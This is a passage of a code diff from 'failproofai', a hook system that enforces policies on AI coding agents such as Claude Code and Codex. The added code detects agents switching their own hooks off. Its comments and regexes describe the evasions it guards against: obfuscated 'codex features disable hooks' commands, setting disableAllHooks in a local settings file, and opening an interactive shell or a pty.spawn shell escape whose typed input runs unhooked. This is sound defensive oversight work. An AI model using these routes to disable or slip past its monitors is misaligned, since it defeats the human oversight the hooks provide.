/\$\{[^}]*\}?|\$\([^)]*\)?|\$[A-Za-z_][A-Za-z0-9_]*|\$.?|`[^`]*`?/g; +/** A word an agent CLI's hooks-off command is made of. */ +const HOOKS_OFF_WORD_RE = /(?:^|[^A-Za-z0-9_-])(?:codex|features?|disable|(?:codex_)?hooks|pi|remove|uninstall|rm|delete|failproofai|pi-extension|hermes|openclaw|plugins?)(?![A-Za-z0-9_-])/i; +/** + * Each command of a line as its argv reads, one per line, for the agent-CLI + * checks: quotes and `$'…'` escapes undone (`codex features disable + * $'\x68ooks'`), `$NAME` and `${NAME}` replaced by a value the line assigns + * (`F=hooks; codex features disable "$F"`), and an argument holding a blank — + * a message — replaced by `_`, so its words never read as a command. + */ +function agentCliArgvLines(lexed: ShellLex): string { + // Every value a variable is given anywhere on the line, not the last one: + // `F=hooks; codex features disable "$F"; F=web_search` runs with `hooks`. + const values = new Map(); + for (const [, name, value] of lexed.readable.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]*)/g)) { + const known = values.get(name) ?? []; + if (known.length < 64) known.push(value.replace(/^["']|["']$/g, "")); + values.set(name, known); + } + // `F+=oks` appends to every value F had, or is the whole value of an unset F. + for (const [, name, value] of lexed.readable.matchAll(/(?:^|[\s;&|(])([A-Za-z_][A-Za-z0-9_]*)\+=("[^"]*"|'[^']*'|[^\s;&|)]*)/g)) { + const tail = value.replace(/^["']|["']$/g, ""); + const known = values.get(name) ?? []; + values.set(name, [...new Set([...known, ...known.map((v) => v + tail), tail])].slice(0, 64)); + } + // Of the values a reference may take, the one that would turn hooks off if + // any would: what the check needs to know is whether some run does. + const pick = (options: readonly string[]): string => options.find((o) => HOOKS_OFF_WORD_RE.test(o)) ?? options[0] ?? ""; + // `${NAME:-word}`, `${NAME=word}`, `${NAME:+word}`…: a variable this line + // does not set may be unset, so its default word is what the command gets + // (`${UNSET:-ho}oks` is `hooks`); a set one gives its value. + const expand = (text: string): string => + text + .replace(/\$\{([A-Za-z_][A-Za-z0-9_]*):?([-=+?])([^{}]*)\}/g, (_whole, name: string, op: string, word: string) => { + const known = values.get(name) ?? []; + return op === "+" ? pick([word, ""]) : pick([...known.filter(Boolean), word]); + }) + .replace(/\$\{([A-Za-z_][A-Za-z0-9_]*)\}|\$([A-Za-z_][A-Za-z0-9_]*)/g, (whole, braced?: string, bare?: string) => + pick([...(values.get(braced ?? bare ?? "") ?? []), whole]), + ); + const lines: string[] = []; + for (const [start, end] of cutRanges(lexed.splittable, PIPELINE_SEPARATORS)) { + const splitPipeline = lexed.splittable.slice(start, end); + for (const [simpleStart, simpleEnd] of cutRanges(splitPipeline, /\|/)) { + const simple = lexed.readable.slice(start + simpleStart, start + simpleEnd); + lines.push(quoteAwareWords(expand(simple)).map((word) => (/\s/.test(word) ? "_" : word)).join(" ")); + } + } + return lines.join("\n"); +} +/** + * The failproofai CLI inside text piped into a shell, which runs it: + * `echo 'failproofai config --pause' | sh`. Each quoted string is read as the + * command it becomes there. + */ +function classifyTextPipedIntoShell(cmd: string): SelfInvocation | null { + if (!/\|\s*(?:[^\s;&|()`<>]*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(cmd)) return null; + for (const [, single, double] of cmd.matchAll(/'([^']*)'|"((?:[^"\\]|\\.)*)"/g)) { + const piped = single ?? double ?? ""; + const kind = classifySelfInvocation(piped) ?? classifySelfInvocation(stripShellQuoting(piped)); + if (kind) return kind; + } + return null; +} +/** + * The settings file this session's hook was loaded from, when the hook process + * could tell (handler.ts reads it from the agent's own environment, so a + * `CLAUDE_CONFIG_DIR` or `CODEX_HOME` that moved it is followed). + */ +function sessionAgentSettingsPaths(ctx: PolicyContext): string[] { + const path = ctx.session?.agentSettingsPath; + return typeof path === "string" && path.length > 0 ? [path] : []; +} // Shared CLI-blocker: deny any command whose argv begins with the matched CLI, // unless an entry in `allowPatterns` matches via `matchesAllowedPattern` (which // already defends against shell-operator injection). @@ -2710,42 +9077,33 @@ function blockInfraCli(ctx: PolicyContext, re: RegExp, denyMsg: string): PolicyR if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) return allow(); return deny(denyMsg); } - function blockKubectl(ctx: PolicyContext): PolicyResult { return blockInfraCli(ctx, KUBECTL_RE, "kubectl commands are blocked"); } - function blockTerraform(ctx: PolicyContext): PolicyResult { return blockInfraCli(ctx, TERRAFORM_RE, "terraform/tofu commands are blocked"); } - function blockAwsCli(ctx: PolicyContext): PolicyResult { return blockInfraCli(ctx, AWS_CLI_RE, "aws CLI commands are blocked"); } - function blockGcloud(ctx: PolicyContext): PolicyResult { return blockInfraCli(ctx, GCLOUD_RE, "gcloud commands are blocked"); } - function blockAzCli(ctx: PolicyContext): PolicyResult { return blockInfraCli(ctx, AZ_CLI_RE, "az (Azure) CLI commands are blocked"); } - function blockHelm(ctx: PolicyContext): PolicyResult { return blockInfraCli(ctx, HELM_RE, "helm commands are blocked"); } - // gh-pipeline only fires on mutating subcommands; allowPatterns are still // supported in case a user wants to permit a specific scripted invocation. function blockGhPipeline(ctx: PolicyContext): PolicyResult { return blockInfraCli(ctx, GH_PIPELINE_RE, "gh pipeline-trigger commands are blocked"); } - // Maximum size of the per-session tool-call sidecar before we stop updating it. // If exceeded, repeated-call detection degrades gracefully (allows through) rather // than growing the file unboundedly. const TOOL_CALL_TRACKER_MAX_BYTES = 65_536; // 64 KB - async function warnRepeatedToolCalls(ctx: PolicyContext): Promise { const THRESHOLD = 3; const transcriptPath = ctx.session?.transcriptPath; @@ -2778,7 +9136,6 @@ async function warnRepeatedToolCalls(ctx: PolicyContext): Promise return allow(); } - function warnGitAmend(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); @@ -2789,7 +9146,6 @@ function warnGitAmend(ctx: PolicyContext): PolicyResult { } return allow(); } - function warnGitStashDrop(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); @@ -2800,7 +9156,6 @@ function warnGitStashDrop(ctx: PolicyContext): PolicyResult { } return allow(); } - /** What one `git clean` argument list asks for. */ interface GitCleanFlags { force: boolean; @@ -2808,7 +9163,6 @@ interface GitCleanFlags { /** Short-flag letters, with `--force` counted as `f` so widening works either way. */ letters: Set; } - /** * Read `git clean`'s own options: clusters (`-fdx`) and the two long forms * that matter (`--force`, `--dry-run`). @@ -2846,7 +9200,6 @@ function readGitCleanFlags(args: string[]): GitCleanFlags { if (force) letters.add("f"); return { force, dryRun, letters }; } - /** True when git's own `-c key=value` options waive `clean.requireForce`. */ function gitCleanForceWaived(globalOptions: string[]): boolean { for (let i = 0; i < globalOptions.length; i++) { @@ -2857,7 +9210,6 @@ function gitCleanForceWaived(globalOptions: string[]): boolean { } return false; } - /** * The gap this closes: `git clean -fdx` was caught by NEITHER tier — no regex * builtin matched the string at all, and the semantic check that covers @@ -2895,7 +9247,6 @@ function warnGitClean(ctx: PolicyContext): PolicyResult { } return allow(); } - function warnAllFilesStaged(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); @@ -2906,7 +9257,6 @@ function warnAllFilesStaged(ctx: PolicyContext): PolicyResult { } return allow(); } - function warnSchemaAlteration(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); @@ -2918,7 +9268,6 @@ function warnSchemaAlteration(ctx: PolicyContext): PolicyResult { } return allow(); } - function warnGlobalPackageInstall(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); @@ -2938,10 +9287,8 @@ function warnGlobalPackageInstall(ctx: PolicyContext): PolicyResult { } return allow(); } - // Split a compound shell command into independent segments. const SEGMENT_SPLIT_RE = /\s*(?:&&|\|\||\||;)\s*/; - function preferPackageManager(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); @@ -3005,7 +9352,6 @@ function preferPackageManager(ctx: PolicyContext): PolicyResult { return allow(); } - function warnBackgroundProcess(ctx: PolicyContext): PolicyResult { if (ctx.toolName !== "Bash") return allow(); const cmd = getCommand(ctx); @@ -3024,7 +9370,6 @@ function warnBackgroundProcess(ctx: PolicyContext): PolicyResult { } // -- Workflow (Stop event) policies -- - /** * Claude Code plan mode (permission_mode: "plan") is research-and-plan-only — the * agent makes no commits, pushes, or PRs by design. The Stop-workflow gates below @@ -3035,7 +9380,6 @@ function warnBackgroundProcess(ctx: PolicyContext): PolicyResult { function isPlanMode(ctx: PolicyContext): boolean { return ctx.session?.permissionMode === "plan"; } - function requireCommitBeforeStop(ctx: PolicyContext): PolicyResult { if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping commit check."); const cwd = ctx.session?.cwd; @@ -3058,7 +9402,6 @@ function requireCommitBeforeStop(ctx: PolicyContext): PolicyResult { return allow("Not a git repository, skipping commit check."); } } - function requirePushBeforeStop(ctx: PolicyContext): PolicyResult { if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping push check."); const cwd = ctx.session?.cwd; @@ -3153,7 +9496,6 @@ function requirePushBeforeStop(ctx: PolicyContext): PolicyResult { return allow("Could not check push status, skipping."); } } - function requirePrBeforeStop(ctx: PolicyContext): PolicyResult { if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping PR check."); const cwd = ctx.session?.cwd; @@ -3247,7 +9589,6 @@ function requirePrBeforeStop(ctx: PolicyContext): PolicyResult { return allow("Could not check PR status, skipping."); } } - function requireNoConflictsBeforeStop(ctx: PolicyContext): PolicyResult { if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping conflict check."); const cwd = ctx.session?.cwd; @@ -3346,7 +9687,6 @@ function requireNoConflictsBeforeStop(ctx: PolicyContext): PolicyResult { } return allow(`PR #${pr.number} merges cleanly per GitHub.`); } - function requireCiGreenBeforeStop(ctx: PolicyContext): PolicyResult { if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping CI check."); const cwd = ctx.session?.cwd; @@ -3451,7 +9791,6 @@ function requireCiGreenBeforeStop(ctx: PolicyContext): PolicyResult { } // -- Registry -- - /** * Name → implementation. The other half of {@link POLICY_CATALOG}. * @@ -3505,7 +9844,6 @@ const POLICY_IMPLEMENTATIONS: Record = { "require-no-conflicts-before-stop": requireNoConflictsBeforeStop, "require-ci-green-before-stop": requireCiGreenBeforeStop, }; - /** * Catalog and implementations must be in BIJECTION, and this throws rather than * warns because the failure is otherwise invisible in the worst direction: a @@ -3532,7 +9870,6 @@ function assertCatalogBijection(): void { } } assertCatalogBijection(); - /** * The joined view, and the shape every consumer has always seen. * @@ -3546,7 +9883,6 @@ export const BUILTIN_POLICIES: BuiltinPolicyDefinition[] = POLICY_CATALOG.map((e ...entry, fn: POLICY_IMPLEMENTATIONS[entry.name] as PolicyFunction, })); - export function registerBuiltinPolicies(enabledNames: string[]): void { // Tolerate both flat ("sanitize-jwt") and qualified ("failproofai/sanitize-jwt") // forms in the user's enabledPolicies config — canonicalize both sides. @@ -3569,7 +9905,6 @@ export function registerBuiltinPolicies(enabledNames: string[]): void { } } } - /** Clears the git branch cache. Exposed for test isolation only. */ export function clearGitBranchCache(): void { gitBranchCache.clear(); diff --git a/src/hooks/claude-hooks-switch.ts b/src/hooks/claude-hooks-switch.ts new file mode 100644 index 000000000..70b3f5218 --- /dev/null +++ b/src/hooks/claude-hooks-switch.ts @@ -0,0 +1,149 @@ +/** + * Whether Claude Code's `disableAllHooks` is switching failproofai's hooks off. + * + * Claude Code reads ONE value of the key: the one left after settings precedence + * (managed, then local, then project, then user). So a `true` in a project's + * `.claude/settings.local.json` turns off hooks installed in + * `~/.claude/settings.json`, and a running session picks the change up from its + * settings file watcher. Nothing in failproofai read the key, so a machine whose + * agent had set it — the cheapest way for a prompt-injected agent to switch its + * own enforcement off — still reported itself as enforcing. + * + * Pure apart from the reads, which go through a seam: `config --status` passes + * the real files, tests pass their own. + */ +import { existsSync, lstatSync, readdirSync, readFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { dirname, join, resolve } from "node:path"; + +/** + * Where Claude Code looks for the managed (enterprise) settings file. It no + * longer reads the old Windows location, `C:\ProgramData\ClaudeCode`. + */ +export const CLAUDE_MANAGED_SETTINGS_PATHS: Readonly>> = { + linux: "/etc/claude-code/managed-settings.json", + darwin: "/Library/Application Support/ClaudeCode/managed-settings.json", + win32: "C:\\Program Files\\ClaudeCode\\managed-settings.json", +}; + +/** + * The managed layer, highest precedence first. Claude Code merges + * `managed-settings.json` and then every `*.json` in `managed-settings.d/` + * beside it, in alphabetical order, a later file's value replacing an earlier + * one's: the last fragment that sets the key decides, and the base file only + * when none does. Hidden files and other extensions are skipped. + */ +export function claudeManagedSettingsLayers(managed: string | null): string[] { + if (!managed) return []; + const dir = join(dirname(managed), "managed-settings.d"); + let fragments: string[] = []; + try { + fragments = readdirSync(dir).filter((name) => name.endsWith(".json") && !name.startsWith(".")).sort(); + } catch { + // No directory: the base file alone. + } + return [...fragments.reverse().map((name) => join(dir, name)), managed]; +} + +/** The settings files that can decide `disableAllHooks`, highest precedence first. */ +export function claudeSettingsLayersByPrecedence( + scopes: { user: string; project: string; local: string | readonly string[] }, + /** The managed settings file; null where there is none. */ + managed: string | null = CLAUDE_MANAGED_SETTINGS_PATHS[process.platform] ?? null, +): string[] { + const local = typeof scopes.local === "string" ? [scopes.local] : scopes.local; + return [...claudeManagedSettingsLayers(managed), ...local, scopes.project, scopes.user]; +} + +/** The nearest directory at or above `cwd` holding a `.git` (a worktree's is a file). */ +function gitRepositoryRoot(cwd: string): string | null { + let dir = resolve(cwd); + for (let depth = 0; depth < 256; depth++) { + if (existsSync(join(dir, ".git"))) return dir; + const parent = dirname(dir); + if (parent === dir) return null; + dir = parent; + } + return null; +} + +/** + * The checkout whose root keeps the local settings. A linked worktree's `.git` + * is a file naming its git directory under the main checkout's + * `.git/worktrees/`, and Claude Code keeps a worktree's local settings at the + * main checkout's root. Anything else, a submodule included, is its own root. + */ +function mainCheckoutRoot(root: string): string { + try { + const dotGit = join(root, ".git"); + if (!lstatSync(dotGit).isFile()) return root; + const gitdir = /^gitdir:\s*(.+?)\s*$/m.exec(readFileSync(dotGit, "utf8"))?.[1]; + if (!gitdir) return root; + const worktreeGitDir = resolve(root, gitdir); + const common = readFileSync(join(worktreeGitDir, "commondir"), "utf8").trim(); + return dirname(resolve(worktreeGitDir, common)); + } catch { + return root; + } +} + +/** Whether the repository root, its `.git` and its `.claude` (where present) are the user's own. */ +function ownedByCurrentUser(root: string): boolean { + const uid = process.getuid?.(); + if (uid === undefined) return true; + return [root, join(root, ".git"), join(root, ".claude")].every((path) => { + const stat = lstatSync(path, { throwIfNoEntry: false }); + return stat === undefined || stat.uid === uid; + }); +} + +/** + * Where Claude Code reads a project's `settings.local.json`, current place + * first. Since v2.1.211 a session started in a subdirectory of a git + * repository keeps it at the repository root (a worktree's: the main + * checkout's) — except outside a repository, when that root is the home + * directory, on Windows, or when the root, its `.git` or its `.claude` is not + * the user's — and it still reads one an older version left in the starting + * directory. + */ +export function claudeLocalSettingsPaths( + cwd: string, + platform: NodeJS.Platform = process.platform, + home: string = homedir(), +): string[] { + const here = join(resolve(cwd), ".claude", "settings.local.json"); + if (platform === "win32") return [here]; + const top = gitRepositoryRoot(cwd); + if (top === null) return [here]; + const root = mainCheckoutRoot(top); + if (root === resolve(home) || !ownedByCurrentUser(root)) return [here]; + const atRoot = join(root, ".claude", "settings.local.json"); + return atRoot === here ? [here] : [atRoot, here]; +} + +/** + * The settings file whose `"disableAllHooks": true` is in effect, or null. + * + * The first layer that sets the key as a boolean decides, as in Claude Code: a + * `false` higher up wins over a `true` below it. A file that is missing or does + * not parse is skipped, which is what Claude Code does with it too. + */ +export function claudeHooksSwitchedOffBy( + layers: readonly string[], + read: (path: string) => string = (path) => readFileSync(path, "utf8"), +): string | null { + // Two scopes resolve to one file when run from the home directory. + for (const path of new Set(layers)) { + let parsed: unknown; + try { + parsed = JSON.parse(read(path)); + } catch { + continue; + } + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) continue; + const value = (parsed as Record).disableAllHooks; + if (typeof value !== "boolean") continue; + return value ? path : null; + } + return null; +} diff --git a/src/hooks/codex-interactive-session.ts b/src/hooks/codex-interactive-session.ts new file mode 100644 index 000000000..78fc36ec9 --- /dev/null +++ b/src/hooks/codex-interactive-session.ts @@ -0,0 +1,339 @@ +/** + * Codex sessions may not open an interactive shell or REPL. + * + * Codex can leave a command running and type into it later (`exec_command`, + * then `write_stdin`; in code mode both are called from inside its JavaScript + * `exec` tool). It runs PreToolUse for the command that starts the session and + * for nothing typed into it afterwards: in a live codex-cli 0.172 session the + * only hook call was `Bash` with `{"command": "bash -i"}`, and + * `failproofai policies list` typed into that shell ran unchecked (found by + * hermes on FailproofAI/failproofai#1058, FailproofAI/agenteye#1898). Turning + * `unified_exec` off does not remove those tools in code mode, and turning code + * mode off leaves Codex's model with no shell at all. + * + * So the one point failproofai can enforce is the start: under Codex, a command + * that opens a program which runs what is typed into it — a shell with no + * script, an interpreter with no program, a multiplexer, a remote or container + * shell, an editor or pager with a shell escape, a database client that can + * shell out — is refused, and the agent is told to run each command on its own, + * which Codex does hook. A server or build left running (`npm run dev`) stays + * allowed: it does not run what is typed into it. + * + * The list cannot be complete: a program not named here that runs typed text + * is not refused. Pagers (`less`, `man`) are left off on purpose: agents read + * documentation with them, and their `!` shell escape needs a terminal. + */ +import { deny, allow } from "./policy-helpers"; +import type { PolicyContext, PolicyMatcher, PolicyResult } from "./policy-types"; + +export const CODEX_SESSION_GUARD_NAME = "failproofai/codex-interactive-session"; + +export const CODEX_SESSION_GUARD_DESCRIPTION = + "Refuse a Codex command that opens an interactive shell or REPL, whose typed input Codex runs no hooks for."; + +export const CODEX_SESSION_GUARD_MATCH: PolicyMatcher = { + events: ["PreToolUse"], + toolNames: ["Bash"], +}; + +const SHELLS = new Set(["bash", "sh", "zsh", "dash", "ksh", "mksh", "ash", "fish", "tcsh", "csh", "nu", "xonsh", "elvish", "pwsh", "powershell", "busybox"]); +/** Interpreters that read their program from what is typed when given none. */ +const STDIN_INTERPRETERS = new Set(["ruby", "perl", "php", "lua", "luajit", "tclsh", "wish"]); +const ALWAYS_INTERACTIVE = new Set([ + "irb", "pry", "ipython", "bpython", "ptpython", "ghci", "iex", "erl", "scala", "clj", "clojure", "R", "julia", "sbcl", "racket", + "tmux", "screen", "byobu", "zellij", "mosh", "telnet", "ftp", "sftp", "lftp", + "vi", "vim", "nvim", "view", "ex", "ed", "emacs", "nano", "pico", + "gdb", "lldb", "pdb", "nix-repl", "redis-cli", "mongosh", "mongo", "expect", "login", +]); +/** Words before the program that run it rather than being it. */ +const WRAPPERS = new Set(["env", "exec", "command", "builtin", "nohup", "time", "nice", "ionice", "stdbuf", "timeout", "setsid", "chrt", "taskset", "unbuffer", "caffeinate"]); + +/** Top-level simple commands of a line, each with whether its stdin comes from a pipe or a redirect. */ +function simpleCommands(command: string): Array<{ words: string[]; stdinFed: boolean }> { + const out: Array<{ words: string[]; stdinFed: boolean }> = []; + let words: string[] = []; + let word = ""; + let inWord = false; + let quote: "'" | '"' | null = null; + let piped = false; + let redirected = false; + // The word after `<` or `>` names the redirect's file, not an argument. + let skipNext = false; + const endWord = () => { + if (inWord) { + if (skipNext) skipNext = false; + else words.push(word); + } + word = ""; + inWord = false; + }; + const endCommand = (nextPiped: boolean) => { + endWord(); + if (words.length > 0) out.push({ words, stdinFed: piped || redirected }); + words = []; + piped = nextPiped; + redirected = false; + }; + for (let i = 0; i < command.length; i++) { + const ch = command[i]; + if (quote) { + if (ch === quote) quote = null; + else if (ch === "\\" && quote === '"' && i + 1 < command.length) word += command[++i]; + else word += ch; + continue; + } + if (ch === "'" || ch === '"') { + quote = ch; + inWord = true; + } else if (ch === "\\" && i + 1 < command.length) { + word += command[++i]; + inWord = true; + } else if (ch === "#" && !inWord) { + while (i < command.length && command[i] !== "\n") i++; + endCommand(false); + } else if (ch === "|" && command[i + 1] !== "|") { + endCommand(true); + } else if (ch === ";" || ch === "\n" || ch === "&" || ch === "|" || ch === "(" || ch === ")" || ch === "{" || ch === "}") { + if ((ch === "&" || ch === "|") && command[i + 1] === ch) i++; + endCommand(false); + } else if (ch === "<" && command[i + 1] !== "(") { + // `< file`, `<" && command[i + 1] !== "(") { + // `> out.log`, `2>&1`, `&> log`: output elsewhere, still typed into. + if (/^\d+$/.test(word)) { + word = ""; + inWord = false; + } + endWord(); + while (command[i + 1] === ">") i++; + if (command[i + 1] === "&") { + i++; + while (/\d/.test(command[i + 1] ?? "")) i++; + } else skipNext = true; + } else if (/\s/.test(ch)) { + endWord(); + } else { + word += ch; + inWord = true; + } + } + endCommand(false); + return out; +} + +const baseName = (word: string): string => word.slice(word.lastIndexOf("/") + 1); + +/** Whether an option word is a cluster carrying `letter` (`-lc` carries `c`). */ +const clusterHas = (word: string, letter: string): boolean => /^-[A-Za-z]+$/.test(word) && word.includes(letter); + +/** The program a simple command runs, past assignments and wrappers, with its arguments. */ +function programOf(words: string[]): { program: string; args: string[] } | null { + let i = 0; + while (i < words.length) { + const word = words[i]; + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) { + i++; + continue; + } + const name = baseName(word); + if (!WRAPPERS.has(name)) break; + i++; + // A wrapper's own options and values (`env -u X`, `nice -n 5`, `timeout 30s`). + while (i < words.length && (words[i].startsWith("-") || /^[A-Za-z_][A-Za-z0-9_]*=/.test(words[i]) || (name === "timeout" && /^\d/.test(words[i])))) { + if (["-n", "-u", "-C", "-S", "-o", "-e", "-i", "-c", "-k", "-s", "-p"].includes(words[i]) && name !== "env") i++; + else if (name === "env" && (words[i] === "-u" || words[i] === "-C" || words[i] === "-S")) i++; + i++; + } + } + if (i >= words.length) return null; + return { program: baseName(words[i]), args: words.slice(i + 1) }; +} + +/** Operands: arguments that are not options (and not an option's value from `valued`). */ +function operands(args: string[], valued: ReadonlySet): string[] { + const out: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "--") return [...out, ...args.slice(k + 1)]; + if (arg.startsWith("-") && arg !== "-") { + if (valued.has(arg)) k++; + continue; + } + out.push(arg); + } + return out; +} + +const SHELL_VALUED = new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]); +const SSH_VALUED = new Set(["-b", "-c", "-D", "-E", "-e", "-F", "-I", "-i", "-J", "-L", "-l", "-m", "-O", "-o", "-p", "-Q", "-R", "-S", "-W", "-w", "-B", "-P"]); + +/** Flags that print something and exit, for the programs below (`python3 --version`, `bash --help`). */ +const INFO_FLAGS = new Set(["--version", "--help", "-h", "-?", "--usage", "-version", "-help"]); +/** Interpreter one-liners that hand the terminal to a shell: `pty.spawn("/bin/bash")`, `os.execv("/bin/sh", …)`. */ +const SPAWNS_SHELL_RE = /(?:pty\.spawn|os\.exec[lv]p?e?|os\.system|subprocess\.(?:call|run|Popen)|child_process|spawnSync|execSync|\bexec\s*\(|\bsystem\s*\(|\bexec\s+["'qQ{]|\bsystem\s+["'qQ{])[^\n]*?\b(?:bash|sh|zsh|dash|ksh|fish)\b/; + +/** The value a `-c` (or `-e`, `--eval`, …) option carries, if the command has one. */ +function inlineProgram(args: string[], flags: readonly string[]): string | undefined { + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (flags.includes(arg)) return args[k + 1]; + for (const flag of flags) { + if (flag.length === 2 && /^-[A-Za-z]+$/.test(arg) && arg.endsWith(flag[1]) && arg.length > 2) return args[k + 1]; + if (flag.startsWith("--") && arg.startsWith(`${flag}=`)) return arg.slice(flag.length + 1); + } + } + return undefined; +} + +/** Why `program args` opens an interactive session, or null when it does not. */ +function sessionReason(program: string, args: string[], stdinFed: boolean, depth = 0): string | null { + const name = /^python[0-9.]*$|^pypy[0-9.]*$/.test(program) ? "python" : program; + // A version or help flag prints and exits (`python3 --version`; found by + // hermes on #1058). `-V` is that for the interpreters, not for the shells. + if (args.some((a) => INFO_FLAGS.has(a)) || (!SHELLS.has(name) && args.some((a) => a === "-V" || a === "-VV"))) return null; + // A program handed to a shell or an interpreter can open a session of its + // own: `bash -c 'bash -i'`, `python3 -c 'import pty; pty.spawn("/bin/bash")'` + // (found by hermes on #1058). + const program1 = SHELLS.has(name) ? inlineProgram(args, ["-c", "--command"]) : inlineProgram(args, ["-c", "-e", "-E", "--eval", "-p", "--print"]); + if (program1 !== undefined && depth < 4) { + if (SHELLS.has(name)) { + const nested = opensInteractiveSessionAt(program1, depth + 1); + if (nested) return nested; + } else if (SPAWNS_SHELL_RE.test(program1)) { + return `a shell started from ${name}`; + } + } + if (SHELLS.has(name)) { + if (args.some((a) => a === "-c" || clusterHas(a, "c") || a === "--command")) return null; + const ops = operands(args, SHELL_VALUED); + if (name === "busybox" && ops[0] !== undefined && !SHELLS.has(ops[0])) return null; + if ((name === "busybox" ? ops.length > 1 : ops.length > 0) && !args.includes("-s")) return null; + return stdinFed ? null : `an interactive ${name} shell`; + } + if (name === "python") { + if (args.some((a) => a === "-i" || clusterHas(a, "i"))) return "an interactive Python session"; + const m = args.indexOf("-m"); + if (m !== -1) return ["code", "asyncio", "pdb", "IPython", "idlelib", "ptpython", "bpython"].includes(args[m + 1] ?? "") ? "an interactive Python session" : null; + if (args.includes("-c")) return null; + const ops = operands(args, new Set(["-W", "-X", "-Q"])); + if (ops.length > 0 && ops[0] !== "-") return null; + return stdinFed ? null : "an interactive Python session"; + } + if (name === "node" || name === "nodejs") { + if (args.some((a) => a === "-i" || a === "--interactive")) return "an interactive Node.js session"; + if (args.some((a) => ["-e", "-p", "--eval", "--print", "--test", "--check", "-c", "--version", "-v", "--help", "-h"].includes(a))) return null; + return operands(args, new Set(["-r", "--require", "--import", "--loader", "--input-type"])).length > 0 || stdinFed ? null : "an interactive Node.js session"; + } + if (name === "bun" || name === "deno") { + if (args[0] === "repl") return `an interactive ${name} session`; + return name === "deno" && args.length === 0 && !stdinFed ? "an interactive deno session" : null; + } + if (STDIN_INTERPRETERS.has(name)) { + if (name === "php" && args.includes("-a")) return "an interactive PHP session"; + if ((name === "lua" || name === "luajit") && args.includes("-i")) return `an interactive ${name} session`; + if (name === "perl" && args.some((a) => /^-d/.test(a))) return "the Perl debugger"; + if (args.some((a) => a === "-e" || a === "-E" || a === "-r" || clusterHas(a, "e") || clusterHas(a, "E"))) return null; + return operands(args, new Set(["-I", "-M", "-f", "-F", "-v"])).length > 0 || stdinFed ? null : `${name} reading its program from typed input`; + } + if (ALWAYS_INTERACTIVE.has(name)) { + if (name === "tmux" && ["send-keys", "send", "ls", "list-sessions", "kill-session", "kill-server", "capture-pane", "has-session", "-V"].includes(operands(args, new Set(["-L", "-S", "-f", "-c", "-t"]))[0] ?? args[0] ?? "")) return null; + if (name === "screen" && args.some((a) => a === "-ls" || a === "-list" || a === "-X" || a === "-Q" || a === "-v")) return null; + if ((name === "gdb" || name === "lldb") && args.some((a) => a === "-batch" || a === "--batch")) return null; + if (name === "emacs" && args.some((a) => a === "--batch" || a === "--script" || a === "-batch")) return null; + if ((name === "redis-cli" || name === "mongosh" || name === "mongo") && args.some((a) => a === "--eval" || a === "-e")) return null; + if (name === "redis-cli" && operands(args, new Set(["-h", "-p", "-a", "-n", "-u", "--user", "--pass"])).length > 0) return null; + if ((name === "sftp" || name === "ftp" || name === "lftp") && args.some((a) => a === "-b" || a === "-c" || a === "-f")) return null; + if (name === "R" && args.some((a) => a === "-e" || a === "-f" || a.startsWith("--file") || a === "CMD")) return null; + if (name === "julia" && (args.some((a) => a === "-e" || a === "-E") || operands(args, new Set(["-p", "-t", "-J"])).length > 0)) return null; + if (name === "erl" && args.some((a) => a === "-noshell" || a === "-eval" || a === "-s")) return null; + if (name === "expect" && operands(args, new Set(["-c"])).length > 0) return null; + return `an interactive ${name} session`; + } + if (name === "sqlite3") return operands(args, new Set(["-cmd", "-separator", "-nullvalue"])).length > 1 || stdinFed ? null : "an interactive sqlite3 session"; + if (name === "psql") return args.some((a) => /^(-c|-f|--command|--file)(=|$)/.test(a)) || stdinFed ? null : "an interactive psql session"; + if (name === "mysql" || name === "mariadb") return args.some((a) => /^(-e|--execute)(=|$)/.test(a)) || stdinFed ? null : `an interactive ${name} session`; + if (name === "ssh") { + const ops = operands(args, SSH_VALUED); + if (args.some((a) => a === "-N" || a === "-V" || a === "-G" || a === "-Q")) return null; + return ops.length === 1 && !stdinFed ? "a remote shell over ssh" : ops.length > 1 && /^(bash|sh|zsh|fish|-?i?bash)$/.test(baseName(ops[1])) && ops.length === 2 ? "a remote shell over ssh" : null; + } + if (name === "su") return args.some((a) => a === "-c" || a === "--command" || a.startsWith("--command=")) ? null : "a shell through su"; + if (name === "sudo" || name === "doas") { + if (args.some((a) => a === "-i" || a === "-s" || a === "--login" || a === "--shell" || clusterHas(a, "i") || clusterHas(a, "s"))) return `a shell through ${name}`; + const rest = programOf(skipSudoOptions(args)); + return rest ? sessionReason(rest.program, rest.args, stdinFed, depth) : null; + } + if (name === "script") return args.some((a) => a === "-c" || a === "--command" || clusterHas(a, "c")) ? null : "a recorded interactive shell (script)"; + if (name === "docker" || name === "podman" || name === "nerdctl") { + const sub = args.find((a) => !a.startsWith("-")); + if (sub === "attach") return `an attached ${name} container`; + if (sub !== "exec" && sub !== "run") return null; + const after = args.slice(args.indexOf(sub) + 1); + return after.some((a) => a === "-i" || a === "--interactive" || a === "--interactive=true" || clusterHas(a, "i")) ? `an interactive ${name} ${sub}` : null; + } + if (name === "kubectl" || name === "oc") { + const sub = args.find((a) => !a.startsWith("-")); + if 